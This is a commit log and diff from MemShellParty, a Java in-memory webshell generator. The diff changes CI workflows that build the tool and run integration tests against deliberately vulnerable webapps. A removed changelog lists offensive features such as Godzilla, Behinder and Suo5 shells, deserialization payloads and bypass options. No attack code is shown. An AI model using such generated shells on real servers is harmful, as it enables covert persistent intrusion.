ReaJason b955ecd416 refactor: simplify code 2024-12-04 22:40:58 +08:00
ReaJason 26d07f522e test: speedup integration test use sharedContainer
refer: https://java.testcontainers.org/test_framework_integration/junit_5/#shared-containers
2024-12-04 21:53:52 +08:00
ReaJason 9a843b7613 test: fix totalCount calc error 2024-12-04 21:52:07 +08:00
ReaJason d926832a21 fix: same classname inject just once 2024-12-04 21:51:21 +08:00
ReaJason a29bfbf7ba ci: update badge 2024-12-03 19:18:05 +00:00
ReaJason 61f215d10c test: add more docker compose file 2024-12-04 03:14:08 +08:00
ReaJason d247f63f88 fix: tomcat9+ filter not work 2024-12-04 03:14:08 +08:00
ReaJason 4162197169 fix: tomcat6 and 7 listener not work 2024-12-04 03:14:08 +08:00
ReaJason 9864c3da32 feat: support JDK8 ScriptEngine packer 2024-12-04 03:14:08 +08:00
ReaJason bddeb4fbaf test: fix case name error 2024-12-04 03:14:08 +08:00
ReaJason d6b0813584 ci: update badge 2024-12-03 13:31:04 +00:00
ReaJason 96675c28b1 ci: fix badge not generate 2024-12-03 21:27:49 +08:00
ReaJason 411fb39d91 test: enhance integration report 2024-12-03 21:19:21 +08:00
ReaJason 33b1ac28bc docs: update README 2024-12-02 02:09:22 +08:00
ReaJason 8b8a44503e test: first show failed cases 2024-12-02 02:08:57 +08:00
ReaJason f6d0e273fe ci: update badge 2024-12-01 17:14:27 +00:00
ReaJason 746353b5c9 Merge branch 'master' of github.com:ReaJason/MemShellParty 2024-12-02 01:11:07 +08:00
ReaJason e2340ff2d1 test: support integration test summary 2024-12-02 01:10:51 +08:00
ReaJason 7b9beeb8bb fix: command shell use paramName 2024-12-02 01:08:22 +08:00
ReaJason 2d6f523075 test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason 645ffbf51f docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 7e86b19e04 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 454b48a1fa ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 3b91197446 ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 53a982fd54 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason aabb678dd3 fix: typo 2024-11-29 02:02:26 +08:00
ReaJason b6ce6581a0 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason d0dcc8d56f ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 272188a83d fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason 957566f847 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 4f1f4f2c1a test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason eb994b7ad4 feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason a06eb2f869 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason 184bd1e9ad test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason c192954cfa docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason cc5a8e726a ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason 37a7683518 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 0961070822 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason 8a437dbe03 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason a42b2bd38c test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason d37b0a1929 feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason 2501e56a6e test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 1b9c88e800 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason e891e9999f ci: rename 2024-11-24 04:52:26 +08:00
ReaJason b31db5c1ac feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 033bc2b9a5 ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 9a1e31d660 MIT license 2024-11-24 04:45:10 +08:00
ReaJason c085607be8 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason 3402d50369 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason d9922401bd Initial commit 2024-09-01 13:17:19 +08:00
1420 changed files with 135802 additions and 23084 deletions
+12 -1
View File
@@ -9,7 +9,7 @@ if __name__ == '__main__':
args = parser.parse_args() args = parser.parse_args()
version = args.version version = args.version
with open("../../CHANGELOG.md") as f: with open("../../web/content/docs/changelog.mdx") as f:
lines = f.readlines() lines = f.readlines()
for line in lines: for line in lines:
if line.startswith(f"## [{version}]"): if line.startswith(f"## [{version}]"):
@@ -21,4 +21,15 @@ if __name__ == '__main__':
if not result_lines: if not result_lines:
print("Specified version not found.", file=sys.stderr) print("Specified version not found.", file=sys.stderr)
sys.exit(1) sys.exit(1)
result_lines.append("## 更新方式\n")
result_lines.append("### Docker 部署\n")
result_lines.append("```bash\n")
result_lines.append("docker rm -f memshell-party\n\n")
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
result_lines.append("```\n")
result_lines.append("### Jar 包启动\n")
result_lines.append("> 仅支持 JDK17 及以上版本\n")
result_lines.append("```bash\n")
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
result_lines.append("```\n")
print("".join(result_lines).strip()) print("".join(result_lines).strip())
+130
View File
@@ -0,0 +1,130 @@
name: "Dev Deploy"
on:
push:
branches:
- dev
paths-ignore:
- 'docs/**'
- '**.md'
- '**/*.png'
jobs:
build-jar:
name: Build Jar
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Setup Node
uses: actions/setup-node@v6
with:
node-version: 22
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
bun-version: latest
- name: Build Web with Bun
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle (Linux)
if: matrix.os == 'ubuntu-latest'
run: ./gradlew :boot:test :boot:bootjar
- name: Build Boot with Gradle (Windows)
if: matrix.os == 'windows-latest'
run: ./gradlew.bat :boot:test :boot:bootjar
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Download Boot Jar
uses: actions/download-artifact@v8
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Build and push
uses: docker/build-push-action@v7
with:
context: boot
platforms: linux/amd64,linux/arm64
push: true
tags: docker.io/reajason/memshell-party:dev
deploy-maven:
name: Deploy to Maven Central
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
deploy-northflank:
name: Deploy to Northflank
needs: [ docker-push ]
runs-on: ubuntu-latest
env:
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
steps:
- name: Update Deployment
run: |
curl --header "Content-Type: application/json" \
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
--request POST \
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v6
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Login to Docker Hub
uses: docker/login-action@v4
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -0,0 +1,78 @@
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v6
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+51 -25
View File
@@ -14,10 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -38,23 +35,22 @@ jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
needs: [ info ]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v4 uses: actions/setup-node@v6
with: with:
node-version: '23' node-version: 22
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
@@ -66,20 +62,20 @@ jobs:
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar - name: Upload Boot Jar
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar path: boot/build/libs/*.jar
docker-push: docker-push:
name: Docker Push name: Docker Push
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -88,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -118,6 +114,41 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }} ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party
CONTEXT_PATH=/redqueen-memshell-party
push: true
tags: |
docker.io/reajason/memshell-party:redqueen
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
create-release: create-release:
name: Create Release name: Create Release
needs: [ info, docker-push ] needs: [ info, docker-push ]
@@ -125,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -133,18 +164,13 @@ jobs:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Calculate SHA-256
id: calculate_sha256
run: |
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
- name: Release - name: Release
uses: ncipollo/release-action@v1 uses: ncipollo/release-action@v1
with: with:
name: ${{ needs.info.outputs.version }} name: ${{ needs.info.outputs.version }}
tag: ${{ needs.info.outputs.version }} tag: ${{ needs.info.outputs.version }}
body: ${{ needs.info.outputs.changelog }} body: ${{ needs.info.outputs.changelog }}
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256 artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
deploy-northflank: deploy-northflank:
name: Deploy to Northflank name: Deploy to Northflank
@@ -0,0 +1,47 @@
name: Single IntegrationTest
on:
workflow_dispatch:
inputs:
depend_tasks:
description: '前置构建任务,如 :boot:jar :generator:jar'
required: false
default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
type: string
test_class:
description: '测试用例类名,如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
required: true
type: string
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
integration-test:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }}
run: ./gradlew ${{ inputs.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
-79
View File
@@ -1,79 +0,0 @@
name: Test
on:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
integration-test:
strategy:
fail-fast: false
matrix:
middleware:
- tomcat
- jetty
- jbossas
- jbosseap
- wildfly
- glassfish
- resin
- payara
- websphere
- websphere7
- springmvc
- weblogic
- springwebflux
- xxljob
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v6
- name: Setup Java
uses: actions/setup-java@v5
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+5
View File
@@ -29,6 +29,10 @@ replay_pid*
**/build/ **/build/
!src/**/build/ !src/**/build/
**/bin/
!**/src/main/**/bin/
!**/src/test/**/bin/
# Ignore Gradle GUI config # Ignore Gradle GUI config
gradle-app.setting gradle-app.setting
@@ -57,3 +61,4 @@ integration-test/**/apusic
integration-test/**/bes integration-test/**/bes
integration-test/**/tongweb integration-test/**/tongweb
integration-test/**/inforsuite integration-test/**/inforsuite
integration-test/**/primeton
+3
View File
@@ -0,0 +1,3 @@
[submodule "libs"]
path = libs
url = https://github.com/ReaJason/javaweb-sources.git
-125
View File
@@ -1,125 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added
- 支持缩小字节码(移除调试信息) by @ReaJason
- 支持 Tomcat Jakarta WebSocket
### Fixed
- 修复自定义注入器类名不起作用
### Changed
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
### Fixed
- 修复 Tomcat WebSocket 注入报错,无法工作
### Changed
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
- 代码重构支持一处注册所有 Server 的 Shell 配置
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
### Added
- UI 中打包配置中添加 Loading 状态
### Fixed
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
### Added
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
- UI 增强手机端响应式,增强 i18n 显示 (#39)
### Fixed
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
- 支持 AntSword 内存马生成 by @ReaJason
- 添加 Java 反序列化其他 CB 版本 Payload 生成
### Changed
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
- 部分 UI 调整
### Fixed
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
- 支持 Suo5 内存马生成 by @ReaJason
### Changed
- 升级 TailWind CSS v4
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
### Fixed
- 修复 sonner 颜色主题未随着修改而变化
- 修复 IDEA 本地构建 version 一直是 unspecified
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
### Added
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
- 支持哥斯拉、冰蝎、命令执行功能
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
+22 -11
View File
@@ -1,19 +1,27 @@
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
### 目录结构 ### 目录结构
- bom: 依赖版本管理,不用写到处写版本号就是舒服
- boot:使用 SpringBoot 为 UI 提供生成服务 - boot:使用 SpringBoot 为 UI 提供生成服务
- commonbytebuddy 等工具类存放 - memshell-party-commonbytebuddy/asm 等工具类存放
- generator:内存马生成核心 - generator:内存马生成核心
